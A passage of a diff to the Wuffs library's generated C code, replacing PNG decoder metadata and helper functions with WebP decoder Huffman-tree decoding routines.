((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_use_simple = (self->private_impl.f_bits & 1u); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ if (v_use_simple != 0u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- label__loop__continue:; -- while (true) { -- if (a_minfo != NULL) { -- wuffs_base__more_information__set(a_minfo, -- self->private_impl.f_metadata_flavor, -- self->private_impl.f_metadata_fourcc, -- self->private_impl.f_metadata_x, -- self->private_impl.f_metadata_y, -- self->private_impl.f_metadata_z); -- } -- if (self->private_impl.f_metadata_flavor != 4u) { -- break; -- } -- if (self->private_impl.f_metadata_is_zlib_compressed) { -- if (self->private_impl.f_chunk_type == 1346585449u) { -- { -- const bool o_0_closed_a_src = a_src->meta.closed; -- const uint8_t *o_0_io2_a_src = io2_a_src; -- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, -- ((uint64_t)(self->private_impl.f_chunk_length))); -- if (a_src) { -- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -- a_src->meta.wi = n; -- } -- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -- { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); -- v_zlib_status = t_0; -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } -- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -- io2_a_src = o_0_io2_a_src; -- if (a_src) { -- a_src->meta.closed = o_0_closed_a_src; -- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -- } -- } -- if (wuffs_base__status__is_ok(&v_zlib_status)) { -- self->private_impl.f_metadata_is_zlib_compressed = false; -- break; -- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { -- status = v_zlib_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } -- status = v_zlib_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- } else if (self->private_impl.f_chunk_type == 1951945833u) { -- { -- const bool o_1_closed_a_src = a_src->meta.closed; -- const uint8_t *o_1_io2_a_src = io2_a_src; -- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, -- ((uint64_t)(self->private_impl.f_chunk_length))); -- if (a_src) { -- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -- a_src->meta.wi = n; -- } -- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -- { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- wuffs_base__status t_1 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); -- v_zlib_status = t_1; -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } -- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -- io2_a_src = o_1_io2_a_src; -- if (a_src) { -- a_src->meta.closed = o_1_closed_a_src; -- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -- } -- } -- if (wuffs_base__status__is_ok(&v_zlib_status)) { -- self->private_impl.f_metadata_is_zlib_compressed = false; -- break; -- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { -- status = v_zlib_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } -- status = v_zlib_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- } else if (self->private_impl.f_chunk_type == 1951945850u) { -- if (self->private_impl.f_ztxt_ri == self->private_impl.f_ztxt_wi) { -- { -- wuffs_base__io_buffer* o_2_v_w = v_w; -- uint8_t *o_2_iop_v_w = iop_v_w; -- uint8_t *o_2_io0_v_w = io0_v_w; -- uint8_t *o_2_io1_v_w = io1_v_w; -- uint8_t *o_2_io2_v_w = io2_v_w; -- v_w = wuffs_base__io_writer__set( -- &u_w, -- &iop_v_w, -- &io0_v_w, -- &io1_v_w, -- &io2_v_w, -- wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), -- self->private_impl.f_ztxt_hist_pos); -- { -- const bool o_3_closed_a_src = a_src->meta.closed; -- const uint8_t *o_3_io2_a_src = io2_a_src; -- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, -- ((uint64_t)(self->private_impl.f_chunk_length))); -- if (a_src) { -- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -- a_src->meta.wi = n; -- } -- v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); -- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -- { -- u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- wuffs_base__status t_2 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); -- v_zlib_status = t_2; -- iop_v_w = u_w.data.ptr + u_w.meta.wi; -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } -- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -- v_num_written = wuffs_base__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w))); -- io2_a_src = o_3_io2_a_src; -- if (a_src) { -- a_src->meta.closed = o_3_closed_a_src; -- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -- } -- } -- v_w = o_2_v_w; -- iop_v_w = o_2_iop_v_w; -- io0_v_w = o_2_io0_v_w; -- io1_v_w = o_2_io1_v_w; -- io2_v_w = o_2_io2_v_w; -- } -- if (v_num_written > 1024u) { -- status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- self->private_impl.f_ztxt_ri = 0u; -- self->private_impl.f_ztxt_wi = ((uint32_t)(v_num_written)); -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_ztxt_hist_pos, v_num_written); -- } -- while (self->private_impl.f_ztxt_ri < self->private_impl.f_ztxt_wi) { -- v_c2 = WUFFS_PNG__LATIN_1[self->private_data.f_dst_palette[self->private_impl.f_ztxt_ri]]; -- if (v_c2 == 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); -- goto exit; -- } else if (v_c2 <= 127u) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- goto label__loop__continue; -- } -- self->private_impl.f_ztxt_ri += 1u; -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c2))), iop_a_dst += 1); -- } else { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -- goto label__loop__continue; -- } -- self->private_impl.f_ztxt_ri += 1u; -- (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c2), iop_a_dst += 2); -- } -- } -- if (wuffs_base__status__is_ok(&v_zlib_status)) { -- self->private_impl.f_metadata_is_zlib_compressed = false; -- break; -- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { -- status = v_zlib_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } else if (v_zlib_status.repr != wuffs_base__suspension__short_write) { -- status = v_zlib_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -- } -- } else { -- status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_chunk_type); -- goto exit; -- } -- } else if ((self->private_impl.f_chunk_type == 1951945833u) && (self->private_impl.f_metadata_fourcc == 1263947862u)) { -- while (true) { -- if (self->private_impl.f_chunk_length <= 0u) { -- goto label__loop__break; -- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -- goto label__loop__continue; -- } else if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -- goto label__loop__continue; -- } -- self->private_impl.f_chunk_length -= 1u; -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_c), iop_a_dst += 1); -- } -- } else { -- while (true) { -- if (self->private_impl.f_chunk_length <= 0u) { -- if (self->private_impl.f_metadata_fourcc == 1263947851u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- goto label__loop__break; -- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -- goto label__loop__continue; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if (v_c == 0u) { -- self->private_impl.f_chunk_length -= 1u; -- iop_a_src += 1u; -- goto label__loop__break; -- } -- v_c2 = WUFFS_PNG__LATIN_1[v_c]; -- if (v_c2 == 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); -- goto exit; -- } else if (v_c2 <= 127u) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -- goto label__loop__continue; -- } -- self->private_impl.f_chunk_length -= 1u; -- iop_a_src += 1u; -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c2))), iop_a_dst += 1); -- } else { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -- goto label__loop__continue; -- } -- self->private_impl.f_chunk_length -= 1u; -- iop_a_src += 1u; -- (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c2), iop_a_dst += 2); -- } -- } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_webp__decoder__decode_huffman_tree_simple(self, a_src, a_hg, a_ht); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_webp__decoder__decode_code_length_code_lengths(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ v_status = wuffs_webp__decoder__build_code_lengths_huffman_nodes(self); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; - } -+ goto ok; - } -- label__loop__break:; -- if (self->private_impl.f_metadata_fourcc == 1263947851u) { -- self->private_impl.f_metadata_fourcc = 1263947862u; -- if (self->private_impl.f_chunk_type == 1951945833u) { -- if (self->private_impl.f_chunk_length <= 1u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 2u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -- } -- if (v_c == 0u) { -- self->private_impl.f_metadata_is_zlib_compressed = false; -- } else if (v_c == 1u) { -- self->private_impl.f_metadata_is_zlib_compressed = true; -- } else { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_4 = *iop_a_src++; -- v_c = t_4; -- } -- if ((v_c != 0u) && self->private_impl.f_metadata_is_zlib_compressed) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); -- goto exit; -- } -- self->private_impl.f_metadata_fourcc -= 2u; -- while (self->private_impl.f_metadata_fourcc != 1263947862u) { -- self->private_impl.f_metadata_fourcc += 1u; -- while (true) { -- if (self->private_impl.f_chunk_length <= 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 1u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_5 = *iop_a_src++; -- v_c = t_5; -- } -- if (v_c == 0u) { -- break; -- } -- } -- } -- } else if (self->private_impl.f_chunk_type == 1951945850u) { -- if (self->private_impl.f_chunk_length <= 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 1u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_6 = *iop_a_src++; -- v_c = t_6; -- } -- if (v_c != 0u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); -- goto exit; -- } -- self->private_impl.f_metadata_is_zlib_compressed = true; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_webp__decoder__build_code_lengths(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ v_status = wuffs_webp__decoder__build_huffman_nodes(self, a_hg, a_ht); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; - } -- self->private_impl.f_call_sequence &= 239u; -- status = wuffs_base__make_status(NULL); - goto ok; - } -- } while (0); -- label__goto_done__break:; -- if (self->private_impl.f_chunk_length != 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_data.s_do_tell_me_more[0].scratch = 4u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -- if (self->private_data.s_do_tell_me_more[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_tell_me_more[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; - } -- iop_a_src += self->private_data.s_do_tell_me_more[0].scratch; -- self->private_impl.f_metadata_flavor = 0u; -- self->private_impl.f_metadata_fourcc = 0u; -- self->private_impl.f_metadata_x = 0u; -- self->private_impl.f_metadata_y = 0u; -- self->private_impl.f_metadata_z = 0u; -- self->private_impl.f_call_sequence &= 239u; -- status = wuffs_base__make_status(NULL); -- goto ok; - - ok: -- self->private_impl.p_do_tell_me_more[0] = 0; -+ self->private_impl.p_decode_huffman_tree = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_tell_me_more[0].v_zlib_status = v_zlib_status; -+ self->private_impl.p_decode_huffman_tree = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -58593,563 +72047,1574 @@ wuffs_png__decoder__do_tell_me_more( - return status; - } - --// -------- func png.decoder.history_retain_length -+// -------- func webp.decoder.decode_huffman_tree_simple - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_png__decoder__history_retain_length( -- const wuffs_png__decoder* self) { -- if (!self) { -- return 0; -+static wuffs_base__status -+wuffs_webp__decoder__decode_huffman_tree_simple( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_hg, -+ uint32_t a_ht) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_use_second_symbol = 0; -+ uint32_t v_first_symbol_n_bits = 0; -+ uint32_t v_symbol0 = 0; -+ uint32_t v_symbol1 = 0; -+ uint32_t v_base_offset = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_tree_simple; -+ if (coro_susp_point) { -+ v_use_second_symbol = self->private_data.s_decode_huffman_tree_simple.v_use_second_symbol; -+ v_first_symbol_n_bits = self->private_data.s_decode_huffman_tree_simple.v_first_symbol_n_bits; -+ v_symbol0 = self->private_data.s_decode_huffman_tree_simple.v_symbol0; -+ v_base_offset = self->private_data.s_decode_huffman_tree_simple.v_base_offset; - } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- return 0u; -+ if (self->private_impl.f_n_bits < 2u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (self->private_impl.f_n_bits >= 2u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_use_second_symbol = (self->private_impl.f_bits & 1u); -+ v_first_symbol_n_bits = ((((self->private_impl.f_bits & 2u) >> 1u) * 7u) + 1u); -+ self->private_impl.f_bits >>= 2u; -+ self->private_impl.f_n_bits -= 2u; -+ if (self->private_impl.f_n_bits < v_first_symbol_n_bits) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (self->private_impl.f_n_bits >= v_first_symbol_n_bits) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_symbol0 = (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_first_symbol_n_bits) - 1u)); -+ self->private_impl.f_bits >>= v_first_symbol_n_bits; -+ self->private_impl.f_n_bits -= v_first_symbol_n_bits; -+ v_base_offset = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[a_ht])); -+ if (v_use_second_symbol != 0u) { -+ if (self->private_impl.f_n_bits < 8u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if (self->private_impl.f_n_bits >= 8u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_symbol1 = (self->private_impl.f_bits & 255u); -+ self->private_impl.f_bits >>= 8u; -+ self->private_impl.f_n_bits -= 8u; -+ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 0u)] = ((uint16_t)((v_base_offset + 1u))); -+ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 1u)] = ((uint16_t)((v_symbol0 | 32768u))); -+ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 2u)] = ((uint16_t)((v_symbol1 | 32768u))); -+ } else { -+ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = ((uint16_t)((v_symbol0 | 32768u))); -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_huffman_tree_simple = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_huffman_tree_simple = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_huffman_tree_simple.v_use_second_symbol = v_use_second_symbol; -+ self->private_data.s_decode_huffman_tree_simple.v_first_symbol_n_bits = v_first_symbol_n_bits; -+ self->private_data.s_decode_huffman_tree_simple.v_symbol0 = v_symbol0; -+ self->private_data.s_decode_huffman_tree_simple.v_base_offset = v_base_offset; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; - } - --// -------- func png.decoder.workbuf_len -+// -------- func webp.decoder.decode_code_length_code_lengths - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_png__decoder__workbuf_len( -- const wuffs_png__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -+static wuffs_base__status -+wuffs_webp__decoder__decode_code_length_code_lengths( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_n_codes = 0; -+ uint32_t v_i = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_code_length_code_lengths; -+ if (coro_susp_point) { -+ v_n_codes = self->private_data.s_decode_code_length_code_lengths.v_n_codes; -+ v_i = self->private_data.s_decode_code_length_code_lengths.v_i; - } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_overall_workbuf_length, self->private_impl.f_overall_workbuf_length); -+ if (self->private_impl.f_n_bits < 4u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (self->private_impl.f_n_bits >= 4u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_n_codes = ((self->private_impl.f_bits & 15u) + 4u); -+ self->private_impl.f_bits >>= 4u; -+ self->private_impl.f_n_bits -= 4u; -+ v_i = 0u; -+ while (v_i < v_n_codes) { -+ if (self->private_impl.f_n_bits < 3u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (self->private_impl.f_n_bits >= 3u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ self->private_impl.f_code_length_code_lengths[WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[v_i]] = ((uint8_t)((self->private_impl.f_bits & 7u))); -+ self->private_impl.f_bits >>= 3u; -+ self->private_impl.f_n_bits -= 3u; -+ v_i += 1u; -+ } -+ while (v_i < 19u) { -+ self->private_impl.f_code_length_code_lengths[WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[v_i]] = 0u; -+ v_i += 1u; -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_code_length_code_lengths = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_code_length_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_code_length_code_lengths.v_n_codes = v_n_codes; -+ self->private_data.s_decode_code_length_code_lengths.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; - } - --// -------- func png.decoder.filter_and_swizzle -+// -------- func webp.decoder.build_code_lengths_huffman_nodes - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__filter_and_swizzle( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf) { -- return (*self->private_impl.choosy_filter_and_swizzle)(self, a_dst, a_workbuf); -+wuffs_webp__decoder__build_code_lengths_huffman_nodes( -+ wuffs_webp__decoder* self) { -+ uint32_t v_code_bits = 0; -+ uint32_t v_code_len = 0; -+ uint32_t v_symbol = 0; -+ uint32_t v_histogram[8] = {0}; -+ uint32_t v_n_used_symbols = 0; 